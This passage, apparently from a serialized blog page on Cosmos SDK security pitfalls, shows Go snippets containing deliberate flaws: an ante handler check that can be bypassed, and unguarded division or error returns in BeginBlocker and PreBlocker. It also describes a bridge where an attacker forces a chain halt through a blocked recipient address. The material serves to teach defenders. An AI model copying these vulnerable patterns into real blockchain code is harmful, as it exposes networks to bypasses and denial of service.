)\n",{"type":22,"tag":118,"props":82092,"children":82093},{"class":120,"line":812},[82094],{"type":22,"tag":118,"props":82095,"children":82096},{"emptyLinePlaceholder":15},[82097],{"type":28,"value":250},{"type":22,"tag":118,"props":82099,"children":82100},{"class":120,"line":821},[82101,82106],{"type":22,"tag":118,"props":82102,"children":82103},{"style":1480},[82104],{"type":28,"value":82105},"                default",{"type":22,"tag":118,"props":82107,"children":82108},{"style":125},[82109],{"type":28,"value":7578},{"type":22,"tag":118,"props":82111,"children":82112},{"class":120,"line":900},[82113,82118,82122,82126,82131,82135,82140],{"type":22,"tag":118,"props":82114,"children":82115},{"style":1480},[82116],{"type":28,"value":82117},"                    return",{"type":22,"tag":118,"props":82119,"children":82120},{"style":204},[82121],{"type":28,"value":639},{"type":22,"tag":118,"props":82123,"children":82124},{"style":125},[82125],{"type":28,"value":231},{"type":22,"tag":118,"props":82127,"children":82128},{"style":204},[82129],{"type":28,"value":82130},"stacktrace",{"type":22,"tag":118,"props":82132,"children":82133},{"style":125},[82134],{"type":28,"value":292},{"type":22,"tag":118,"props":82136,"children":82137},{"style":532},[82138],{"type":28,"value":82139},"Propagate",{"type":22,"tag":118,"props":82141,"children":82142},{"style":125},[82143],{"type":28,"value":696},{"type":22,"tag":118,"props":82145,"children":82146},{"class":120,"line":913},[82147,82152,82156,82160,82164,82169,82173,82178,82182,82186],{"type":22,"tag":118,"props":82148,"children":82149},{"style":204},[82150],{"type":28,"value":82151},"                        sdkerrors",{"type":22,"tag":118,"props":82153,"children":82154},{"style":125},[82155],{"type":28,"value":292},{"type":22,"tag":118,"props":82157,"children":82158},{"style":532},[82159],{"type":28,"value":80442},{"type":22,"tag":118,"props":82161,"children":82162},{"style":125},[82163],{"type":28,"value":540},{"type":22,"tag":118,"props":82165,"children":82166},{"style":204},[82167],{"type":28,"value":82168},"sdkerrors",{"type":22,"tag":118,"props":82170,"children":82171},{"style":125},[82172],{"type":28,"value":292},{"type":22,"tag":118,"props":82174,"children":82175},{"style":204},[82176],{"type":28,"value":82177},"ErrUnknownExtensionOptions",{"type":22,"tag":118,"props":82179,"children":82180},{"style":125},[82181],{"type":28,"value":231},{"type":22,"tag":118,"props":82183,"children":82184},{"style":204},[82185],{"type":28,"value":81967},{"type":22,"tag":118,"props":82187,"children":82188},{"style":125},[82189],{"type":28,"value":3853},{"type":22,"tag":118,"props":82191,"children":82192},{"class":120,"line":953},[82193,82198],{"type":22,"tag":118,"props":82194,"children":82195},{"style":1866},[82196],{"type":28,"value":82197},"                        \"rejecting tx with unsupported extension option\"",{"type":22,"tag":118,"props":82199,"children":82200},{"style":125},[82201],{"type":28,"value":782},{"type":22,"tag":118,"props":82203,"children":82204},{"class":120,"line":982},[82205],{"type":22,"tag":118,"props":82206,"children":82207},{"style":125},[82208],{"type":28,"value":82090},{"type":22,"tag":118,"props":82210,"children":82211},{"class":120,"line":995},[82212],{"type":22,"tag":118,"props":82213,"children":82214},{"style":125},[82215],{"type":28,"value":1819},{"type":22,"tag":118,"props":82217,"children":82218},{"class":120,"line":1011},[82219],{"type":22,"tag":118,"props":82220,"children":82221},{"emptyLinePlaceholder":15},[82222],{"type":28,"value":250},{"type":22,"tag":118,"props":82224,"children":82225},{"class":120,"line":1019},[82226,82230,82234,82238,82242,82246,82250,82254,82258],{"type":22,"tag":118,"props":82227,"children":82228},{"style":1480},[82229],{"type":28,"value":62669},{"type":22,"tag":118,"props":82231,"children":82232},{"style":532},[82233],{"type":28,"value":81719},{"type":22,"tag":118,"props":82235,"children":82236},{"style":125},[82237],{"type":28,"value":540},{"type":22,"tag":118,"props":82239,"children":82240},{"style":204},[82241],{"type":28,"value":545},{"type":22,"tag":118,"props":82243,"children":82244},{"style":125},[82245],{"type":28,"value":231},{"type":22,"tag":118,"props":82247,"children":82248},{"style":204},[82249],{"type":28,"value":80777},{"type":22,"tag":118,"props":82251,"children":82252},{"style":125},[82253],{"type":28,"value":231},{"type":22,"tag":118,"props":82255,"children":82256},{"style":204},[82257],{"type":28,"value":81657},{"type":22,"tag":118,"props":82259,"children":82260},{"style":125},[82261],{"type":28,"value":3665},{"type":22,"tag":118,"props":82263,"children":82264},{"class":120,"line":1028},[82265],{"type":22,"tag":118,"props":82266,"children":82267},{"style":125},[82268],{"type":28,"value":1827},{"type":22,"tag":118,"props":82270,"children":82271},{"class":120,"line":1101},[82272],{"type":22,"tag":118,"props":82273,"children":82274},{"style":125},[82275],{"type":28,"value":1835},{"type":22,"tag":118,"props":82277,"children":82278},{"class":120,"line":1146},[82279],{"type":22,"tag":118,"props":82280,"children":82281},{"emptyLinePlaceholder":15},[82282],{"type":28,"value":250},{"type":22,"tag":118,"props":82284,"children":82285},{"class":120,"line":1226},[82286],{"type":22,"tag":118,"props":82287,"children":82288},{"style":257},[82289],{"type":28,"value":82290},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":22,"tag":118,"props":82292,"children":82293},{"class":120,"line":1234},[82294],{"type":22,"tag":118,"props":82295,"children":82296},{"emptyLinePlaceholder":15},[82297],{"type":28,"value":250},{"type":22,"tag":118,"props":82299,"children":82300},{"class":120,"line":1248},[82301,82306,82310,82314,82318],{"type":22,"tag":118,"props":82302,"children":82303},{"style":1480},[82304],{"type":28,"value":82305},"        switch",{"type":22,"tag":118,"props":82307,"children":82308},{"style":204},[82309],{"type":28,"value":69968},{"type":22,"tag":118,"props":82311,"children":82312},{"style":125},[82313],{"type":28,"value":80376},{"type":22,"tag":118,"props":82315,"children":82316},{"style":146},[82317],{"type":28,"value":34695},{"type":22,"tag":118,"props":82319,"children":82320},{"style":125},[82321],{"type":28,"value":16783},{"type":22,"tag":118,"props":82323,"children":82324},{"class":120,"line":1257},[82325,82330,82334,82338,82342],{"type":22,"tag":118,"props":82326,"children":82327},{"style":1480},[82328],{"type":28,"value":82329},"        case",{"type":22,"tag":118,"props":82331,"children":82332},{"style":131},[82333],{"type":28,"value":80237},{"type":22,"tag":118,"props":82335,"children":82336},{"style":125},[82337],{"type":28,"value":292},{"type":22,"tag":118,"props":82339,"children":82340},{"style":131},[82341],{"type":28,"value":80270},{"type":22,"tag":118,"props":82343,"children":82344},{"style":125},[82345],{"type":28,"value":7578},{"type":22,"tag":118,"props":82347,"children":82348},{"class":120,"line":25765},[82349,82354,82358,82362,82366,82370],{"type":22,"tag":118,"props":82350,"children":82351},{"style":204},[82352],{"type":28,"value":82353},"            anteHandler",{"type":22,"tag":118,"props":82355,"children":82356},{"style":210},[82357],{"type":28,"value":837},{"type":22,"tag":118,"props":82359,"children":82360},{"style":204},[82361],{"type":28,"value":80237},{"type":22,"tag":118,"props":82363,"children":82364},{"style":125},[82365],{"type":28,"value":292},{"type":22,"tag":118,"props":82367,"children":82368},{"style":532},[82369],{"type":28,"value":82028},{"type":22,"tag":118,"props":82371,"children":82372},{"style":125},[82373],{"type":28,"value":696},{"type":22,"tag":118,"props":82375,"children":82376},{"class":120,"line":25778},[82377,82382,82386,82391,82395],{"type":22,"tag":118,"props":82378,"children":82379},{"style":204},[82380],{"type":28,"value":82381},"                authante",{"type":22,"tag":118,"props":82383,"children":82384},{"style":125},[82385],{"type":28,"value":292},{"type":22,"tag":118,"props":82387,"children":82388},{"style":532},[82389],{"type":28,"value":82390},"NewSetUpContextDecorator",{"type":22,"tag":118,"props":82392,"children":82393},{"style":125},[82394],{"type":28,"value":20341},{"type":22,"tag":118,"props":82396,"children":82397},{"style":257},[82398],{"type":28,"value":80891},{"type":22,"tag":118,"props":82400,"children":82401},{"class":120,"line":25791},[82402],{"type":22,"tag":118,"props":82403,"children":82404},{"style":210},[82405],{"type":28,"value":82406},"                 ...\n",{"type":22,"tag":118,"props":82408,"children":82409},{"class":120,"line":25804},[82410,82414,82418,82423,82427,82431,82435],{"type":22,"tag":118,"props":82411,"children":82412},{"style":204},[82413],{"type":28,"value":82381},{"type":22,"tag":118,"props":82415,"children":82416},{"style":125},[82417],{"type":28,"value":292},{"type":22,"tag":118,"props":82419,"children":82420},{"style":532},[82421],{"type":28,"value":82422},"NewIncrementSequenceDecorator",{"type":22,"tag":118,"props":82424,"children":82425},{"style":125},[82426],{"type":28,"value":540},{"type":22,"tag":118,"props":82428,"children":82429},{"style":204},[82430],{"type":28,"value":82073},{"type":22,"tag":118,"props":82432,"children":82433},{"style":125},[82434],{"type":28,"value":17153},{"type":22,"tag":118,"props":82436,"children":82437},{"style":257},[82438],{"type":28,"value":82439},"// innermost AnteDecorator\n",{"type":22,"tag":118,"props":82441,"children":82442},{"class":120,"line":25858},[82443],{"type":22,"tag":118,"props":82444,"children":82445},{"style":125},[82446],{"type":28,"value":79111},{"type":22,"tag":118,"props":82448,"children":82449},{"class":120,"line":25867},[82450,82455],{"type":22,"tag":118,"props":82451,"children":82452},{"style":1480},[82453],{"type":28,"value":82454},"        default",{"type":22,"tag":118,"props":82456,"children":82457},{"style":125},[82458],{"type":28,"value":7578},{"type":22,"tag":118,"props":82460,"children":82461},{"class":120,"line":34219},[82462,82466,82470,82474,82478,82482,82486],{"type":22,"tag":118,"props":82463,"children":82464},{"style":1480},[82465],{"type":28,"value":80672},{"type":22,"tag":118,"props":82467,"children":82468},{"style":204},[82469],{"type":28,"value":639},{"type":22,"tag":118,"props":82471,"children":82472},{"style":125},[82473],{"type":28,"value":231},{"type":22,"tag":118,"props":82475,"children":82476},{"style":204},[82477],{"type":28,"value":82130},{"type":22,"tag":118,"props":82479,"children":82480},{"style":125},[82481],{"type":28,"value":292},{"type":22,"tag":118,"props":82483,"children":82484},{"style":532},[82485],{"type":28,"value":82139},{"type":22,"tag":118,"props":82487,"children":82488},{"style":125},[82489],{"type":28,"value":696},{"type":22,"tag":118,"props":82491,"children":82492},{"class":120,"line":34240},[82493,82498,82502,82507,82511,82515,82519,82524,82528,82533,82537,82541],{"type":22,"tag":118,"props":82494,"children":82495},{"style":204},[82496],{"type":28,"value":82497},"                sdkerrors",{"type":22,"tag":118,"props":82499,"children":82500},{"style":125},[82501],{"type":28,"value":292},{"type":22,"tag":118,"props":82503,"children":82504},{"style":532},[82505],{"type":28,"value":82506},"Wrapf",{"type":22,"tag":118,"props":82508,"children":82509},{"style":125},[82510],{"type":28,"value":540},{"type":22,"tag":118,"props":82512,"children":82513},{"style":204},[82514],{"type":28,"value":82168},{"type":22,"tag":118,"props":82516,"children":82517},{"style":125},[82518],{"type":28,"value":292},{"type":22,"tag":118,"props":82520,"children":82521},{"style":204},[82522],{"type":28,"value":82523},"ErrUnknownRequest",{"type":22,"tag":118,"props":82525,"children":82526},{"style":125},[82527],{"type":28,"value":231},{"type":22,"tag":118,"props":82529,"children":82530},{"style":1866},[82531],{"type":28,"value":82532},"\"invalid transaction type: %T\"",{"type":22,"tag":118,"props":82534,"children":82535},{"style":125},[82536],{"type":28,"value":231},{"type":22,"tag":118,"props":82538,"children":82539},{"style":204},[82540],{"type":28,"value":80777},{"type":22,"tag":118,"props":82542,"children":82543},{"style":125},[82544],{"type":28,"value":3853},{"type":22,"tag":118,"props":82546,"children":82548},{"class":120,"line":82547},53,[82549,82554],{"type":22,"tag":118,"props":82550,"children":82551},{"style":1866},[82552],{"type":28,"value":82553},"                \"transaction is not an SDK tx\"",{"type":22,"tag":118,"props":82555,"children":82556},{"style":125},[82557],{"type":28,"value":782},{"type":22,"tag":118,"props":82559,"children":82561},{"class":120,"line":82560},54,[82562],{"type":22,"tag":118,"props":82563,"children":82564},{"style":125},[82565],{"type":28,"value":79111},{"type":22,"tag":118,"props":82567,"children":82569},{"class":120,"line":82568},55,[82570],{"type":22,"tag":118,"props":82571,"children":82572},{"style":125},[82573],{"type":28,"value":1835},{"type":22,"tag":118,"props":82575,"children":82577},{"class":120,"line":82576},56,[82578],{"type":22,"tag":118,"props":82579,"children":82580},{"emptyLinePlaceholder":15},[82581],{"type":28,"value":250},{"type":22,"tag":118,"props":82583,"children":82585},{"class":120,"line":82584},57,[82586,82590,82594,82598,82602,82606,82610,82614,82618],{"type":22,"tag":118,"props":82587,"children":82588},{"style":1480},[82589],{"type":28,"value":2223},{"type":22,"tag":118,"props":82591,"children":82592},{"style":532},[82593],{"type":28,"value":81719},{"type":22,"tag":118,"props":82595,"children":82596},{"style":125},[82597],{"type":28,"value":540},{"type":22,"tag":118,"props":82599,"children":82600},{"style":204},[82601],{"type":28,"value":545},{"type":22,"tag":118,"props":82603,"children":82604},{"style":125},[82605],{"type":28,"value":231},{"type":22,"tag":118,"props":82607,"children":82608},{"style":204},[82609],{"type":28,"value":80777},{"type":22,"tag":118,"props":82611,"children":82612},{"style":125},[82613],{"type":28,"value":231},{"type":22,"tag":118,"props":82615,"children":82616},{"style":204},[82617],{"type":28,"value":81657},{"type":22,"tag":118,"props":82619,"children":82620},{"style":125},[82621],{"type":28,"value":3665},{"type":22,"tag":118,"props":82623,"children":82625},{"class":120,"line":82624},58,[82626],{"type":22,"tag":118,"props":82627,"children":82628},{"style":125},[82629],{"type":28,"value":1254},{"type":22,"tag":118,"props":82631,"children":82633},{"class":120,"line":82632},59,[82634],{"type":22,"tag":118,"props":82635,"children":82636},{"style":125},[82637],{"type":28,"value":481},{"type":22,"tag":31,"props":82639,"children":82640},{},[82641,82643,82648,82650,82657,82658,82665],{"type":28,"value":82642},"Additional examples of incorrect ",{"type":22,"tag":114,"props":82644,"children":82646},{"className":82645},[],[82647],{"type":28,"value":80066},{"type":28,"value":82649}," usage include ",{"type":22,"tag":42,"props":82651,"children":82654},{"href":82652,"rel":82653},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[46],[82655],{"type":28,"value":82656},"yet more bypassable checks and loss of funds",{"type":28,"value":12991},{"type":22,"tag":42,"props":82659,"children":82662},{"href":82660,"rel":82661},"https://github.com/cosmos/ibc-go/issues/853",[46],[82663],{"type":28,"value":82664},"incorrect data passing between blockchains",{"type":28,"value":292},{"type":22,"tag":23,"props":82667,"children":82669},{"id":82668},"errors-panics-i-can-handle-it",[82670],{"type":28,"value":82671},"Errors? Panics? I can handle it",{"type":22,"tag":31,"props":82673,"children":82674},{},[82675],{"type":28,"value":82676},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":22,"tag":31,"props":82678,"children":82679},{},[82680],{"type":28,"value":82681},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":22,"tag":31,"props":82683,"children":82684},{},[82685,82687,82693,82695,82700],{"type":28,"value":82686},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":22,"tag":114,"props":82688,"children":82690},{"className":82689},[],[82691],{"type":28,"value":82692},"k.keeper.TotalReward()",{"type":28,"value":82694}," returns zero, the ",{"type":22,"tag":114,"props":82696,"children":82698},{"className":82697},[],[82699],{"type":28,"value":59887},{"type":28,"value":82701}," execution will simply rollback as if nothing has happened.",{"type":22,"tag":107,"props":82703,"children":82705},{"code":82704,"language":77760,"meta":7,"className":77761,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[82706],{"type":22,"tag":114,"props":82707,"children":82708},{"__ignoreMap":7},[82709,82742,82765,82793,82829,82836,82905,82943,82950,82982],{"type":22,"tag":118,"props":82710,"children":82711},{"class":120,"line":121},[82712,82716,82720,82725,82729,82733,82738],{"type":22,"tag":118,"props":82713,"children":82714},{"style":146},[82715],{"type":28,"value":77896},{"type":22,"tag":118,"props":82717,"children":82718},{"style":125},[82719],{"type":28,"value":842},{"type":22,"tag":118,"props":82721,"children":82722},{"style":204},[82723],{"type":28,"value":82724},"k ",{"type":22,"tag":118,"props":82726,"children":82727},{"style":131},[82728],{"type":28,"value":77910},{"type":22,"tag":118,"props":82730,"children":82731},{"style":125},[82732],{"type":28,"value":588},{"type":22,"tag":118,"props":82734,"children":82735},{"style":532},[82736],{"type":28,"value":82737},"AllocateReward",{"type":22,"tag":118,"props":82739,"children":82740},{"style":125},[82741],{"type":28,"value":696},{"type":22,"tag":118,"props":82743,"children":82744},{"class":120,"line":142},[82745,82749,82753,82757,82761],{"type":22,"tag":118,"props":82746,"children":82747},{"style":204},[82748],{"type":28,"value":77931},{"type":22,"tag":118,"props":82750,"children":82751},{"style":131},[82752],{"type":28,"value":77936},{"type":22,"tag":118,"props":82754,"children":82755},{"style":125},[82756],{"type":28,"value":292},{"type":22,"tag":118,"props":82758,"children":82759},{"style":131},[82760],{"type":28,"value":77945},{"type":22,"tag":118,"props":82762,"children":82763},{"style":125},[82764],{"type":28,"value":782},{"type":22,"tag":118,"props":82766,"children":82767},{"class":120,"line":177},[82768,82772,82776,82780,82784,82789],{"type":22,"tag":118,"props":82769,"children":82770},{"style":204},[82771],{"type":28,"value":77957},{"type":22,"tag":118,"props":82773,"children":82774},{"style":210},[82775],{"type":28,"value":11815},{"type":22,"tag":118,"props":82777,"children":82778},{"style":131},[82779],{"type":28,"value":7769},{"type":22,"tag":118,"props":82781,"children":82782},{"style":125},[82783],{"type":28,"value":292},{"type":22,"tag":118,"props":82785,"children":82786},{"style":131},[82787],{"type":28,"value":82788},"MsgAllocateReward",{"type":22,"tag":118,"props":82790,"children":82791},{"style":125},[82792],{"type":28,"value":3665},{"type":22,"tag":118,"props":82794,"children":82795},{"class":120,"line":195},[82796,82800,82804,82808,82812,82817,82821,82825],{"type":22,"tag":118,"props":82797,"children":82798},{"style":125},[82799],{"type":28,"value":540},{"type":22,"tag":118,"props":82801,"children":82802},{"style":210},[82803],{"type":28,"value":671},{"type":22,"tag":118,"props":82805,"children":82806},{"style":131},[82807],{"type":28,"value":7769},{"type":22,"tag":118,"props":82809,"children":82810},{"style":125},[82811],{"type":28,"value":292},{"type":22,"tag":118,"props":82813,"children":82814},{"style":131},[82815],{"type":28,"value":82816},"MsgAllocatRewardResponse",{"type":22,"tag":118,"props":82818,"children":82819},{"style":125},[82820],{"type":28,"value":231},{"type":22,"tag":118,"props":82822,"children":82823},{"style":131},[82824],{"type":28,"value":16841},{"type":22,"tag":118,"props":82826,"children":82827},{"style":125},[82828],{"type":28,"value":16783},{"type":22,"tag":118,"props":82830,"children":82831},{"class":120,"line":244},[82832],{"type":22,"tag":118,"props":82833,"children":82834},{"emptyLinePlaceholder":15},[82835],{"type":28,"value":250},{"type":22,"tag":118,"props":82837,"children":82838},{"class":120,"line":253},[82839,82844,82848,82853,82857,82862,82866,82871,82875,82879,82884,82888,82892,82896,82901],{"type":22,"tag":118,"props":82840,"children":82841},{"style":204},[82842],{"type":28,"value":82843},"    RewardPerShare",{"type":22,"tag":118,"props":82845,"children":82846},{"style":210},[82847],{"type":28,"value":78012},{"type":22,"tag":118,"props":82849,"children":82850},{"style":204},[82851],{"type":28,"value":82852}," k",{"type":22,"tag":118,"props":82854,"children":82855},{"style":125},[82856],{"type":28,"value":292},{"type":22,"tag":118,"props":82858,"children":82859},{"style":204},[82860],{"type":28,"value":82861},"keeper",{"type":22,"tag":118,"props":82863,"children":82864},{"style":125},[82865],{"type":28,"value":292},{"type":22,"tag":118,"props":82867,"children":82868},{"style":532},[82869],{"type":28,"value":82870},"Shares",{"type":22,"tag":118,"props":82872,"children":82873},{"style":125},[82874],{"type":28,"value":2182},{"type":22,"tag":118,"props":82876,"children":82877},{"style":210},[82878],{"type":28,"value":888},{"type":22,"tag":118,"props":82880,"children":82881},{"style":204},[82882],{"type":28,"value":82883},"  k",{"type":22,"tag":118,"props":82885,"children":82886},{"style":125},[82887],{"type":28,"value":292},{"type":22,"tag":118,"props":82889,"children":82890},{"style":204},[82891],{"type":28,"value":82861},{"type":22,"tag":118,"props":82893,"children":82894},{"style":125},[82895],{"type":28,"value":292},{"type":22,"tag":118,"props":82897,"children":82898},{"style":532},[82899],{"type":28,"value":82900},"TotalReward",{"type":22,"tag":118,"props":82902,"children":82903},{"style":125},[82904],{"type":28,"value":2708},{"type":22,"tag":118,"props":82906,"children":82907},{"class":120,"line":263},[82908,82913,82917,82921,82925,82930,82934,82939],{"type":22,"tag":118,"props":82909,"children":82910},{"style":204},[82911],{"type":28,"value":82912},"    k",{"type":22,"tag":118,"props":82914,"children":82915},{"style":125},[82916],{"type":28,"value":292},{"type":22,"tag":118,"props":82918,"children":82919},{"style":204},[82920],{"type":28,"value":82861},{"type":22,"tag":118,"props":82922,"children":82923},{"style":125},[82924],{"type":28,"value":292},{"type":22,"tag":118,"props":82926,"children":82927},{"style":532},[82928],{"type":28,"value":82929},"DistributeReward",{"type":22,"tag":118,"props":82931,"children":82932},{"style":125},[82933],{"type":28,"value":540},{"type":22,"tag":118,"props":82935,"children":82936},{"style":204},[82937],{"type":28,"value":82938},"RewardPerShare",{"type":22,"tag":118,"props":82940,"children":82941},{"style":125},[82942],{"type":28,"value":3665},{"type":22,"tag":118,"props":82944,"children":82945},{"class":120,"line":318},[82946],{"type":22,"tag":118,"props":82947,"children":82948},{"emptyLinePlaceholder":15},[82949],{"type":28,"value":250},{"type":22,"tag":118,"props":82951,"children":82952},{"class":120,"line":351},[82953,82957,82961,82965,82969,82974,82978],{"type":22,"tag":118,"props":82954,"children":82955},{"style":1480},[82956],{"type":28,"value":18954},{"type":22,"tag":118,"props":82958,"children":82959},{"style":210},[82960],{"type":28,"value":1430},{"type":22,"tag":118,"props":82962,"children":82963},{"style":204},[82964],{"type":28,"value":7769},{"type":22,"tag":118,"props":82966,"children":82967},{"style":125},[82968],{"type":28,"value":292},{"type":22,"tag":118,"props":82970,"children":82971},{"style":204},[82972],{"type":28,"value":82973},"MsgAllocateRewardResponse",{"type":22,"tag":118,"props":82975,"children":82976},{"style":125},[82977],{"type":28,"value":231},{"type":22,"tag":118,"props":82979,"children":82980},{"style":146},[82981],{"type":28,"value":78238},{"type":22,"tag":118,"props":82983,"children":82984},{"class":120,"line":359},[82985],{"type":22,"tag":118,"props":82986,"children":82987},{"style":125},[82988],{"type":28,"value":481},{"type":22,"tag":31,"props":82990,"children":82991},{},[82992,82994,83000,83001,83007,83008,83014,83016,83021],{"type":28,"value":82993},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":22,"tag":114,"props":82995,"children":82997},{"className":82996},[],[82998],{"type":28,"value":82999},"PreBlocker",{"type":28,"value":231},{"type":22,"tag":114,"props":83002,"children":83004},{"className":83003},[],[83005],{"type":28,"value":83006},"BeginBlocker",{"type":28,"value":8497},{"type":22,"tag":114,"props":83009,"children":83011},{"className":83010},[],[83012],{"type":28,"value":83013},"EndBlocker",{"type":28,"value":83015},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":22,"tag":114,"props":83017,"children":83019},{"className":83018},[],[83020],{"type":28,"value":83006},{"type":28,"value":83022}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":22,"tag":107,"props":83024,"children":83026},{"code":83025,"language":77760,"meta":7,"className":77761,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[83027],{"type":22,"tag":114,"props":83028,"children":83029},{"__ignoreMap":7},[83030,83095,83102,83150,83178,83185,83197],{"type":22,"tag":118,"props":83031,"children":83032},{"class":120,"line":121},[83033,83037,83042,83046,83050,83054,83058,83062,83066,83070,83075,83079,83083,83087,83091],{"type":22,"tag":118,"props":83034,"children":83035},{"style":146},[83036],{"type":28,"value":77896},{"type":22,"tag":118,"props":83038,"children":83039},{"style":532},[83040],{"type":28,"value":83041}," BeginBlocker",{"type":22,"tag":118,"props":83043,"children":83044},{"style":125},[83045],{"type":28,"value":540},{"type":22,"tag":118,"props":83047,"children":83048},{"style":204},[83049],{"type":28,"value":545},{"type":22,"tag":118,"props":83051,"children":83052},{"style":131},[83053],{"type":28,"value":77936},{"type":22,"tag":118,"props":83055,"children":83056},{"style":125},[83057],{"type":28,"value":292},{"type":22,"tag":118,"props":83059,"children":83060},{"style":131},[83061],{"type":28,"value":77945},{"type":22,"tag":118,"props":83063,"children":83064},{"style":125},[83065],{"type":28,"value":231},{"type":22,"tag":118,"props":83067,"children":83068},{"style":204},[83069],{"type":28,"value":82861},{"type":22,"tag":118,"props":83071,"children":83072},{"style":131},[83073],{"type":28,"value":83074}," keeper",{"type":22,"tag":118,"props":83076,"children":83077},{"style":125},[83078],{"type":28,"value":292},{"type":22,"tag":118,"props":83080,"children":83081},{"style":131},[83082],{"type":28,"value":81541},{"type":22,"tag":118,"props":83084,"children":83085},{"style":125},[83086],{"type":28,"value":588},{"type":22,"tag":118,"props":83088,"children":83089},{"style":131},[83090],{"type":28,"value":16841},{"type":22,"tag":118,"props":83092,"children":83093},{"style":125},[83094],{"type":28,"value":1474},{"type":22,"tag":118,"props":83096,"children":83097},{"class":120,"line":142},[83098],{"type":22,"tag":118,"props":83099,"children":83100},{"emptyLinePlaceholder":15},[83101],{"type":28,"value":250},{"type":22,"tag":118,"props":83103,"children":83104},{"class":120,"line":177},[83105,83109,83113,83117,83121,83125,83129,83133,83138,83142,83146],{"type":22,"tag":118,"props":83106,"children":83107},{"style":204},[83108],{"type":28,"value":82843},{"type":22,"tag":118,"props":83110,"children":83111},{"style":210},[83112],{"type":28,"value":78012},{"type":22,"tag":118,"props":83114,"children":83115},{"style":204},[83116],{"type":28,"value":83074},{"type":22,"tag":118,"props":83118,"children":83119},{"style":125},[83120],{"type":28,"value":292},{"type":22,"tag":118,"props":83122,"children":83123},{"style":532},[83124],{"type":28,"value":82870},{"type":22,"tag":118,"props":83126,"children":83127},{"style":125},[83128],{"type":28,"value":2182},{"type":22,"tag":118,"props":83130,"children":83131},{"style":210},[83132],{"type":28,"value":888},{"type":22,"tag":118,"props":83134,"children":83135},{"style":204},[83136],{"type":28,"value":83137},"  keeper",{"type":22,"tag":118,"props":83139,"children":83140},{"style":125},[83141],{"type":28,"value":292},{"type":22,"tag":118,"props":83143,"children":83144},{"style":532},[83145],{"type":28,"value":82900},{"type":22,"tag":118,"props":83147,"children":83148},{"style":125},[83149],{"type":28,"value":2708},{"type":22,"tag":118,"props":83151,"children":83152},{"class":120,"line":195},[83153,83158,83162,83166,83170,83174],{"type":22,"tag":118,"props":83154,"children":83155},{"style":204},[83156],{"type":28,"value":83157},"    keeper",{"type":22,"tag":118,"props":83159,"children":83160},{"style":125},[83161],{"type":28,"value":292},{"type":22,"tag":118,"props":83163,"children":83164},{"style":532},[83165],{"type":28,"value":82929},{"type":22,"tag":118,"props":83167,"children":83168},{"style":125},[83169],{"type":28,"value":540},{"type":22,"tag":118,"props":83171,"children":83172},{"style":204},[83173],{"type":28,"value":82938},{"type":22,"tag":118,"props":83175,"children":83176},{"style":125},[83177],{"type":28,"value":3665},{"type":22,"tag":118,"props":83179,"children":83180},{"class":120,"line":244},[83181],{"type":22,"tag":118,"props":83182,"children":83183},{"emptyLinePlaceholder":15},[83184],{"type":28,"value":250},{"type":22,"tag":118,"props":83186,"children":83187},{"class":120,"line":253},[83188,83192],{"type":22,"tag":118,"props":83189,"children":83190},{"style":1480},[83191],{"type":28,"value":54807},{"type":22,"tag":118,"props":83193,"children":83194},{"style":146},[83195],{"type":28,"value":83196}," nil\n",{"type":22,"tag":118,"props":83198,"children":83199},{"class":120,"line":263},[83200],{"type":22,"tag":118,"props":83201,"children":83202},{"style":125},[83203],{"type":28,"value":481},{"type":22,"tag":1289,"props":83205,"children":83207},{"id":83206},"real-world-examples-3",[83208],{"type":28,"value":78285},{"type":22,"tag":31,"props":83210,"children":83211},{},[83212],{"type":28,"value":83213},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":22,"tag":31,"props":83215,"children":83216},{},[83217,83219,83225,83227,83232,83234,83240,83242,83248,83250,83256],{"type":28,"value":83218},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":22,"tag":114,"props":83220,"children":83222},{"className":83221},[],[83223],{"type":28,"value":83224},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":83226}," will be bubbled up through ",{"type":22,"tag":114,"props":83228,"children":83230},{"className":83229},[],[83231],{"type":28,"value":82999},{"type":28,"value":83233}," and halt the chain. It turns out an attacker can force ",{"type":22,"tag":114,"props":83235,"children":83237},{"className":83236},[],[83238],{"type":28,"value":83239},"SendCoinsFromModuleToAccount",{"type":28,"value":83241}," to return an error by setting ",{"type":22,"tag":114,"props":83243,"children":83245},{"className":83244},[],[83246],{"type":28,"value":83247},"recipient",{"type":28,"value":83249}," to some ",{"type":22,"tag":114,"props":83251,"children":83253},{"className":83252},[],[83254],{"type":28,"value":83255},"BlockedAddr",{"type":28,"value":83257},",rendering the code susceptible to DoS attacks.",{"type":22,"tag":31,"props":83259,"children":83260},{},[83261],{"type":22,"tag":42,"props":83262,"children":83265},{"href":83263,"rel":83264},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[46],[83266],{"type":28,"value":78335},{"type":22,"tag":107,"props":83268,"children":83270},{"code":83269,"language":77760,"meta":7,"className":77761,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := 